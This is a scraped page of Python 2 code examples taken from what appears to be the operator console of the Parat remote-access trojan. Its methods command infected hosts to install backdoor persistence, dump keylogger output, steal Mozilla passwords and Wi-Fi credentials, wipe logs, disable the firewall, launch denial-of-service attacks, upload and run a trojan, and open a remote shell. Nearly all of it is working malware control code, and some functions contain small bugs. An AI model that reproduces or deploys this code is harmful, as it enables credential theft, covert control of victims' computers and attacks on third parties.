Пример #1
0
    def recive_online(self):

        self.conn.send(Encode("#FSCAN"))

        text = colorize("scanning", colored=self.colors, status="INF")
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        response = Decode(self.conn.recv(4096))

        # write data to disk
        with open(self.scan_file, "w") as info_file:
            info_file.write(response.replace(self.handler, "").rstrip())
        info_file.close()

        process_bar.Stop = True
        sleep(0.2)

        pprint("\n")
        pprint(response.replace(self.handler, "").rstrip())
        pprint("\n\n")

        self.db_con.execute(
            "UPDATE targets SET oPorts=? WHERE id=?",
            (response.replace(self.handler, "").rstrip(), self.client_id))
        self.db_con.commit()
Пример #2
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:

                argument = self.parser.parse_args(self.args)

                self.conn.send(
                    Encode(" ".join([
                        "dos", argument.ip, argument.method,
                        str(argument.packets)
                    ])))
                attack_result = Decode(self.conn.recv(4096))

                while attack_result:

                    for line in attack_result.split("\n"):
                        pprint(line + '\n')
                        sleep(.03)

                    attack_result = Decode(self.conn.recv(4096))

                    if self.handler in attack_result:
                        pprint(
                            colorize("Attack stoppetd!\n\n",
                                     colored=self.colors,
                                     status="WAR"))
                        break
            except:
                pass
Пример #3
0
    def dump_changes(self):

        self.conn.send(Encode(">ch4ng3s<"))
        recived_data = Decode(self.conn.recv(4096))

        while self.handler not in recived_data:
            pprint(recived_data)
            sleep(0.1)
            recived_data = Decode(self.conn.recv(4096))
Пример #4
0
    def start(self):

        if self.command.strip() == "shutdown":

            self.conn.send(Encode(self.command))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        elif self.command.strip() == "reboot":

            self.conn.send(Encode(self.command))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))
Пример #5
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                if argument.active:
                    self.conn.send(Encode("firewall<#>active"))
                elif argument.deactive:
                    self.conn.send(Encode("firewall<#>deactive"))
                elif argument.status:
                    self.conn.send(Encode("firewall<#>status"))

                response = Decode(self.conn.recv(4096))
                pprint("\n%s\n" %
                       response) if self.colors else pprint("\n%s\n" %
                                                            gray(response))

            except Exception as e:
                print(e)
Пример #6
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                if argument.status:
                    self.conn.send(Encode("backdoor<#>status"))
                elif argument.remove:
                    self.conn.send(Encode("backdoor<#>remove"))
                elif argument.registry:
                    self.conn.send(Encode("backdoor<#>registry"))
                elif argument.startup:
                    self.conn.send(Encode("backdoor<#>startup"))

                response = Decode(self.conn.recv(4096))

                if "installed." in response or "enable." in response:
                    self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?",
                                    (True, self.client_id))
                else:
                    self.db.execute("UPDATE targets SET Backdoor=? WHERE id=?",
                                    (False, self.client_id))
                self.db.commit()

                pprint(response) if self.colors else pprint(gray(response))

            except:
                pass
Пример #7
0
    def kill_process(self, pid):

        try:

            pid = pid[1].strip()

            if pid != "":
                self.conn.send(Encode("kill " + pid)); sleep(0.1)
                response = Decode(self.conn.recv(4096))
                pprint(response) if self.colors else pprint(gray(response))

            else:
                pprint(
                    colorize(
                        "No PID specified.\n",
                        colored=self.colors,
                        status="ERR"
                    ), 1)

        except:
            pprint(
                colorize(
                    "Kill error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
Пример #8
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:

                argument = self.parser.parse_args(self.args)

                finall_command = "{}<#>{}<#>{}<#>{}<#>{}".format(
                    "msgbox",
                    argument.title,
                    argument.message,
                    argument.icon,
                    argument.button,
                )
                self.conn.send(Encode(finall_command))
                result = Decode(self.conn.recv(4096))

                if "error" in result:
                    pprint(colorize(result, colored=self.colors, status="ERR"))
                else:
                    pprint(colorize(result, colored=self.colors, status="SUC"))

            except:
                pass
Пример #9
0
    def start(self):

        try:

            url = self.args[0]

            if url is not None:

                self.conn.send(Encode("ie<#>" + self.args[0]))
                response = Decode(self.conn.recv(4096))

                if "error" in response:
                    pprint(
                        colorize(response, colored=self.colors, status="ERR"))
                else:
                    pprint(
                        colorize(response, colored=self.colors, status="SUC"))
            else:
                pprint(
                    colorize(" usage: explorer google.com",
                             colored=self.colors,
                             status="INF"), 1)

        except Exception as e:
            pprint(colorize(str(e) + '\n', colored=self.colors, status="ERR"),
                   1)
Пример #10
0
    def touch_file(self, args):

        parser = argparse.ArgumentParser(
            prog="modules.File",
            usage="touch -n/--name NAME [-t/--text CONTENT]",
            description="simple command for create files")

        parser.add_argument('-n',
                            '--name',
                            required=True,
                            help="file name you want to create")
        parser.add_argument('-t',
                            '--text',
                            metavar="CONTENT",
                            help="create file with this content")

        if args is None or len(args) == 0 or args[0] in self.helps:
            parser.print_help()

        else:

            try:

                argument = parser.parse_args(args)

                if argument.text:

                    command = "touch<#>name_and_text<#>" + argument.name + "<#>" + argument.text
                    self.conn.send(Encode(command))
                    response = Decode(self.conn.recv(4096))
                    pprint(response) if self.colors else pprint(gray(response))

                else:

                    command = "touch<#>name<#>" + argument.name
                    self.conn.send(Encode(command))
                    response = Decode(self.conn.recv(4096))
                    pprint(response) if self.colors else pprint(gray(response))

            except:
                pass
Пример #11
0
    def local_method(self):

        try:

            self.conn.send(
                Encode("runfile<#>" + self.trojan_name + "<#>LOCAL_GET"))
            trojan_file = open(self.trojan_name, "rb")
            chunk = trojan_file.read(4096)

            pprint(
                colorize("Local method detcted!\n",
                         colored=self.colors,
                         status="INF"))
            self.process_bar.start_process()

            self.conn.send(Encode("#IS_FILE"))
            sleep(0.1)

            while chunk:
                self.conn.send(chunk)
                sleep(0.1)
                chunk = trojan_file.read(4096)

            self.conn.send("#UPLOAD_END")
            trojan_file.close()
            status = Decode(self.conn.recv(4096))

            if status == "#OPENED":
                pprint(
                    colorize("Running successfull.",
                             colored=self.colors,
                             status="SUC"))
            elif status == "#NOT_OPENED":
                pprint(
                    colorize("Runtime error.\n",
                             colored=self.colors,
                             status="ERR"))
            else:
                pprint(status) if self.colors else pprint(gray(status))

            self.process_bar.Stop = True
            sleep(0.2)

        except IOError:

            self.conn.send(Encode("#NOT_FILE"))
            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)
            pprint(
                colorize("No file specified.\n",
                         colored=self.colors,
                         status="ERR"), 1)
Пример #12
0
    def start(self):
        def print_current_path():

            self.conn.send(Encode("ENTER"))
            response = Decode(self.conn.recv(4096))
            pprint(response)

        self.conn.send(Encode(self.command))
        pprint("\n")

        while True:

            try:

                prompt = Decode(self.conn.recv(4096))
                self.command = raw_input(prompt)

                if len(self.command) != 0:

                    if self.command != "exit":
                        self.conn.send(Encode(self.command))
                        response = Decode(self.conn.recv(4096))
                        pprint(response)

                    else:
                        self.conn.send(Encode(self.command))
                        pprint("\n")
                        break
                else:
                    print_current_path()

            except EOFError:
                print_current_path()

            except Exception as e:
                # import traceback; traceback.print_exc()
                pprint(
                    colorize(str(e) + '\n', colored=self.colors, status="ERR"),
                    1)
                break
Пример #13
0
    def start(self):

        try:

            if len(self.args) == 0:
                pprint(
                    colorize(
                        "usage: wget http://google.com/file.any\n",
                        colored=self.colors,
                        status="INF"
                    ))
            else:
                text = colorize(
                    "downloading",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                url_address = self.args[0]

                if url_address.strip() != "":

                    start_download_from_url = "wget<#>" + url_address
                    self.conn.send(Encode(start_download_from_url))
                    response = str(Decode(self.conn.recv(4096)))

                    process_bar.Stop = True
                    sleep(0.2)
                    pprint(response) if self.colors else pprint(gray(response))

                else:
                    pprint(
                        colorize(
                            "No specified url.\n",
                            colored=self.colors,
                            status="ERR"
                        ))
        except:

            if process_bar:
                process_bar.Stop = True;
                sleep(0.2)

            pprint(
                colorize(
                    "Url error.\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
Пример #14
0
    def get_all(self):

        self.conn.send(Encode("getps"))
        proc = Decode(self.conn.recv(4096))

        while 1:

            if "GETPS ERROR!" in proc:
                pprint(
                    colorize(
                        proc,
                        colored=self.colors,
                        status="ERR"
                )); break

            else:

                pprint(proc.replace('\n', '') + '\n')
                sleep(0.01)
                proc = Decode(self.conn.recv(4096))

                if self.handler in proc:
                    pprint("\n"); break
Пример #15
0
    def make_directory(self, new_folder):

        if new_folder is not None and len(new_folder) != 0:

            new_folder = new_folder[0].strip()

            self.conn.send(Encode("mkdir<#>" + new_folder))
            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: mkdir \"New Foler\" \n",
                         colored=self.colors,
                         status="INF"))
Пример #16
0
    def change_directory(self, dirc):

        if dirc is not None and len(dirc) != 0:

            directory = dirc[0].strip()

            self.conn.send(Encode("cd<#>" + directory))

            response = Decode(self.conn.recv(4096)) + "\n"
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: cd \"New Folder\" \n",
                         colored=self.colors,
                         status="INF"))
Пример #17
0
    def start(self):

        self.conn.send(Encode("rmlog"))

        text = colorize(
            "cleaning logs",
            colored=self.colors,
            status="INF"
        )
        process_bar = ParatProcessBar(text)
        process_bar.start_process()

        result = Decode(self.conn.recv(4096))
        process_bar.Stop = True
        sleep(0.2)

        pprint(result) if self.colors else pprint(gray(result))
Пример #18
0
    def remove(self, arg):

        if arg is not None and len(arg) != 0:

            arg = arg[0].strip()
            folder_flag = False
            file_flag = False

            self.conn.send(Encode("rmv<#>" + arg))

            response = Decode(self.conn.recv(4096))
            pprint(response) if self.colors else pprint(gray(response))

        else:
            pprint(
                colorize("usage: rmv anything\n",
                         colored=self.colors,
                         status="INF"))
Пример #19
0
    def start(self):

        if self.args is None or len(
                self.args) == 0 or self.args[0] in self.handlerTxt:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                final_command = "pzip<#>{}<#>{}".format(
                    argument.file, argument.passwd)
                self.conn.send(Encode(final_command))

                response = Decode(self.conn.recv(4096))
                pprint(response) if self.colors else pprint(gray(response))

            except:
                pass
Пример #20
0
    def dump_keys(self):

        try:

            if not isfile(self.keylogger_name):
                system("touch '{}'".format(self.keylogger_name))

            self.conn.send(Encode(">keyl0gger<"))
            recived_data = Decode(self.conn.recv(4096))
            pprint(recived_data)

            system("echo '{}' >> {}".format(recived_data, self.keylogger_name))

        except Exception as e:

            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)
Пример #21
0
    def remote_method(self):

        try:

            pprint(
                colorize("Remote method detcted!\n",
                         colored=self.colors,
                         status="INF"))
            self.process_bar.start_process()

            self.conn.send(
                Encode("runfile<#>" + self.trojan_name + "<#>REMOTE_GET"))
            exec_status = Decode(self.conn.recv(4096))

            if exec_status == "#OPENED":
                pprint(
                    colorize("Running successfull.",
                             colored=self.colors,
                             status="SUC"))
            elif status == "#NOT_OPENED":
                pprint(
                    colorize("Runtime error.\n",
                             colored=self.colors,
                             status="ERR"))
            else:
                pprint(status) if self.colors else pprint(gray(status))

            self.process_bar.Stop = True
            sleep(0.2)

        except:

            if self.process_bar:
                self.process_bar.Stop = True
                sleep(0.2)

            pprint(
                colorize("Running failed.\n",
                         colored=self.colors,
                         status="ERR"), 1)
Пример #22
0
    def start(self):

        if len(self.program) == 0:
            pprint(
                colorize("usage: uninstall 'Adobe Acrobat Reader DC'\n",
                         colored=self.colors,
                         status="INF"))

        else:

            text = colorize("tring for uninstall",
                            colored=self.colors,
                            status="INF")
            process_bar = ParatProcessBar(text)
            process_bar.start_process()

            self.conn.send(Encode("uninstall<#>" + self.program[0]))
            result = Decode(self.conn.recv(4096))

            process_bar.Stop = True
            sleep(0.2)
            pprint(result) if self.colors else pprint(gray(result))
Пример #23
0
    def dump_wifi(self, update=False):

        try:

            if not isfile(self.path_to_wifi) or update:

                self.conn.send(Encode(">wif1<"))

                text = colorize(
                    "dumping wifi",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                recived_data = Decode(self.conn.recv(4096))
                full_content = ""

                if "No wifi(es) found." in recived_data:
                    full_content = recived_data

                else:

                    while recived_data:

                        recived_data += "\n"
                        full_content += recived_data
                        recived_data = Decode(self.conn.recv(4096))
                        sleep(0.1)

                        if self.handler in recived_data:
                            full_content = full_content.replace(self.handler, "").rstrip() + "\n"; break


                with open(self.wifi_file_name, 'wb') as wifi_file:
                    wifi_file.write(full_content)
                wifi_file.close()

                process_bar.Stop = True
                sleep(0.2)
                pprint(
                    colorize(
                        "successfull!\n",
                        colored=self.colors,
                        status="SUC"
                    ))
            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:
            system("cat '{}'".format(self.path_to_wifi))
Пример #24
0
    def get_tree(self):

        self.conn.send(Encode("tree"))
        pprint(Decode(self.conn.recv(4096)))
Пример #25
0
    def dump_mozilla(self, update=False):

        try:

            if not isfile(self.path_to_mozilla) or update:

                self.conn.send(Encode("passwords<#>mozilla"))

                text = colorize(
                    "dumping mozilla passwords",
                    colored=self.colors,
                    status="INF"
                )
                process_bar = ParatProcessBar(text)
                process_bar.start_process()

                result = Decode(self.conn.recv(4096))
                full_content = result

                if "No password" in result or "Could not" in result or "doesn't exists" in result or "[!]" in result:
                    pass

                else:

                    while True:

                        full_content += result
                        result = Decode(self.conn.recv(4096))
                        sleep(0.1)

                        if self.handler in result:
                            full_content += "\n"; break

                with open(self.mozilla_file_name, 'wb') as moz_file:
                    moz_file.write(full_content)
                moz_file.close()

                process_bar.Stop = True; sleep(0.2)
                pprint(
                    colorize(
                        "successfull!\n",
                        colored=self.colors,
                        status="SUC"
                    ))

            else:
                pass


        except Exception as e:

            if not process_bar.Stop:
                process_bar.Stop = True; sleep(0.2)
            pprint(
                colorize(
                    e + "\n",
                    colored=self.colors,
                    status="ERR"
                ), 1)

        else:

            mfile = open(self.path_to_mozilla, 'r')
            mcontent = mfile.read()

            self.db.execute("UPDATE targets SET Mozilla=? WHERE id=?", (mcontent, self.client_id))
            self.db.commit()

            pprint(mcontent + "\n")

            mfile.close()
Пример #26
0
    def start(self):

        if self.args is None or len(self.args) == 0 or self.args[0] in self.helps:
            self.parser.print_help()

        else:

            try:
                argument = self.parser.parse_args(self.args)

                if argument.active:
                    self.conn.send(Encode("desktop<#>active"))
                    response = Decode(self.conn.recv(4096))
                    pprint(response) if self.colors else pprint(gray(response))

                elif argument.deactive:
                    self.conn.send(Encode("desktop<#>deactive"))
                    response = Decode(self.conn.recv(4096))
                    pprint(response) if self.colors else pprint(gray(response))

                elif argument.connect:

                    remmina_path = os.path.abspath(
                        os.path.join("..", "..", "template", "parat.remmina")
                            )
                    old_remmina = open(remmina_path, "r")
                    remote_config = open(".parat.remmina", "w")

                    for line_no, line in enumerate(old_remmina.readlines(), 1):

                        if line_no == 4:
                            name = line.split("=")[1]
                            new_line = line.replace(name, self.client_id + "\n")
                            remote_config.write(new_line)

                        elif line_no == 11:
                            server = line.split("=")[1]
                            new_line = line.replace(server, self.remote_ip + "\n")
                            remote_config.write(new_line)

                        elif line_no == 16:
                            user = line.split("=")[1]
                            new_line = line.replace(user, self.client_user + "\n")
                            remote_config.write(new_line)

                        else:
                            remote_config.write(line)

                    old_remmina.close()
                    remote_config.close()

                    copy(".parat.remmina", remmina_path)
                    os.remove(".parat.remmina")

                    Remote_Desktop = Popen(
                        'remmina --connect="{}"'.format(remmina_path),
                        shell=True,
                        stdout=PIPE,
                        stderr=PIPE,
                        stdin=PIPE
                    )

            except:
                pass
Пример #27
0
        def print_current_path():

            self.conn.send(Encode("ENTER"))
            response = Decode(self.conn.recv(4096))
            pprint(response)
Пример #28
0
    def pwd(self):

        self.conn.send(Encode("pwd"))
        response = '\n' + Decode(self.conn.recv(4096)) + '\n\n'

        pprint(response) if self.colors else pprint(gray(response))